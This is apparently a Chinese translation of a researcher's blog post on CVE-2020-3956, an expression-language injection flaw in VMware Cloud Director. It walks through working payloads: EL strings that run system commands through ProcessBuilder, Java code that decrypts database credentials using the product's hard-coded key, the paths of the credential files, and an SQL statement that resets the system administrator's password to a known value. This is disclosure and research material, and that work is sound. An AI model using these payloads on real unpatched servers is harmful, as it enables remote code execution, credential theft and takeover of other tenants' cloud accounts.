CVE-2020-3956漏洞POC

  • A+

漏洞概述

安全研究人员在对某财富500企业进行安全审计时,发现了一个影响VMware Cloud Director的代码注入安全漏洞。该漏洞CVE编号为CVE-2020-3956,CVSSV3评分为8.8分,漏洞严重等级为重要。

研究人员利用该代码注入漏洞,可以:

  • 查看内部系统数据库的内容,包括该基础设施上分配的所有账户的密码哈希;
  • 修改系统数据库来窃取Cloud Director内分配给其他不同组织的虚拟机的信息;

  • 从“Organization Administrator”权限提升到“System Administrator”来访问所有的云账户。

  • 修改Cloud Director的登陆页,攻击者可以获取其他账户的明文口令。
  • 读取与其他账户相关的敏感数据,包括姓名、邮箱地址和IP地址。

漏洞影响Cloud Director 10.0.0.2之前的10.0.x版本、9.7.0.5之前的9.7.0.x版本、9.5.0.6之前的9.5.0.x版本和9.1.0.4之前的9.1.0.x版本。

漏洞利用

表达式语言(EL)注入

当在vCloud Director的SMTP服务器的hostname处输入${7*7}时,会接收到如下错误消息:

String value has invalid format, value: [49]

image.png

表达式7*7的值为49。也就是说通过表达式语言注入可以在服务器端实现简单的算术运算。

远程代码执行

成功尝试后,就可以使用下面的payload来调用简单的java代码:
java
${'aaa'.getClass()} // class java.lang.String
${''.getClass().getResource('')} // jar:file:/opt/vmware/vcloud-director/lib/endorsed/org.apache.karaf.exception-2.2.9.jar!/java/lang/

研究人员首先尝试一个知名的EL注入 payload:
${java.lang.Runtime.getRuntime().exec('sleep 5').waitFor()}
首先第一步是访问任意类。java.lang.Stringjava.util.ArrayList都可以直接被表达式语言利用。研究人员使用了java函数forName(),第二个payload为:
${''.getClass().forName('java.util.Date')} // class java.util.Date
然后就可以访问任意java类。可以尝试调用以下方法:
${''.getClass().forName('java.lang.Runtime').getRuntime()}
发现是不允许的。可能的原因是表达式中被调用的方法有白名单/黑名单的过滤。那是否可以为类创建一些新的实例呢?
${''.getClass().forName('java.util.Date').newInstance()} // Thu Feb 20 12:21:48 UTC 2020

事实证明是可以的,此时就可以访问任意java类了,还可以在没有参数的情况下创建其实例。但要实现任意系统命令的执行仍然是不足的,需要一种新的方法来创建含有一些参数的类的实例,此处使用了方法getDeclaredConstructors():
${''.getClass().forName('java.util.Date').getDeclaredConstructors()[0]} // public java.util.Date()
${''.getClass().forName('java.util.Date').getDeclaredConstructors()[4].newInstance('Sat, 12 Aug 1995 13:30:00 GMT')} // Sat Aug 12 13:30:00 UTC 1995

然后就可以创建类的新实例,以实现系统命令执行:
${''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['sleep','5']).getInputStream().read()}

在提交了payload后,服务器会在5秒后响应。也就是说,成功执行了系统命令 sleep 5。从提交的系统命令中获得结果:
```

${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','id']).start().getInputStream())).readLine()}
```

这就是最终的payload:

image.png

访问外部云

研究人员的目标是获取外部云的控制权限。首先,研究人员确认了所有与vCloud相关的敏感数据都保存咋远程数据库中,数据库的凭证保存在以下文件中:
/opt/vmware/vcloud-director/etc/global.properties
/opt/vmware/vcloud-director/etc/responses.properties

但是其使用了vCloud Director源码中硬编码的密钥用AES算法加密了。研究人员反编译后发现,vCloud加密是用定制的类com.vmware.vcloud.common.crypto.EncryptionManager进行的,数据库的凭证可以用下面的java代码很容易地获取:
final IEncryption manager = EncryptionManager.getDefaultEncrypter();
out.println(manager.Decrypt("[encrypted password]"));

然后,就有了vCloud数据库的完全访问权限,就可以访问所有数据了。

其实获取所有云的最简单的方法应该是修改系统管理员的口令。研究人员在反编译的源码中发现,密码保存的形式为:
base64(sha512(password+salt))
所以可以通过下面的SQL查询来将系统管理员的口令来密码修改为Password123
UPDATE usr SET password='8nmlODAJ92cQdJCqasw8YXAU2Ix+ODa3rc+5fFhEeMFV+c9iDNys+OEFtKK/0CXjIS9OxKlYaPdrIITYAWL0Eh/PYLwrtI8d' WHERE username='administrator'
然后就可以以系统管理员身份登陆,并访问所有账户的数据了。

image.png

--

来源:https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/

相关推荐: Kimsuky APT组织利用疫情话题针对南韩进行双平台的攻击活动的分析

Kimsuky APT组织利用疫情话题针对南韩进行双平台的攻击活动的分析 一.前言 kimsuky APT组织(又名Mystery Baby, Baby Coin, Smoke Screen, BabyShark, Cobra Venom) ,该组织一直针对于…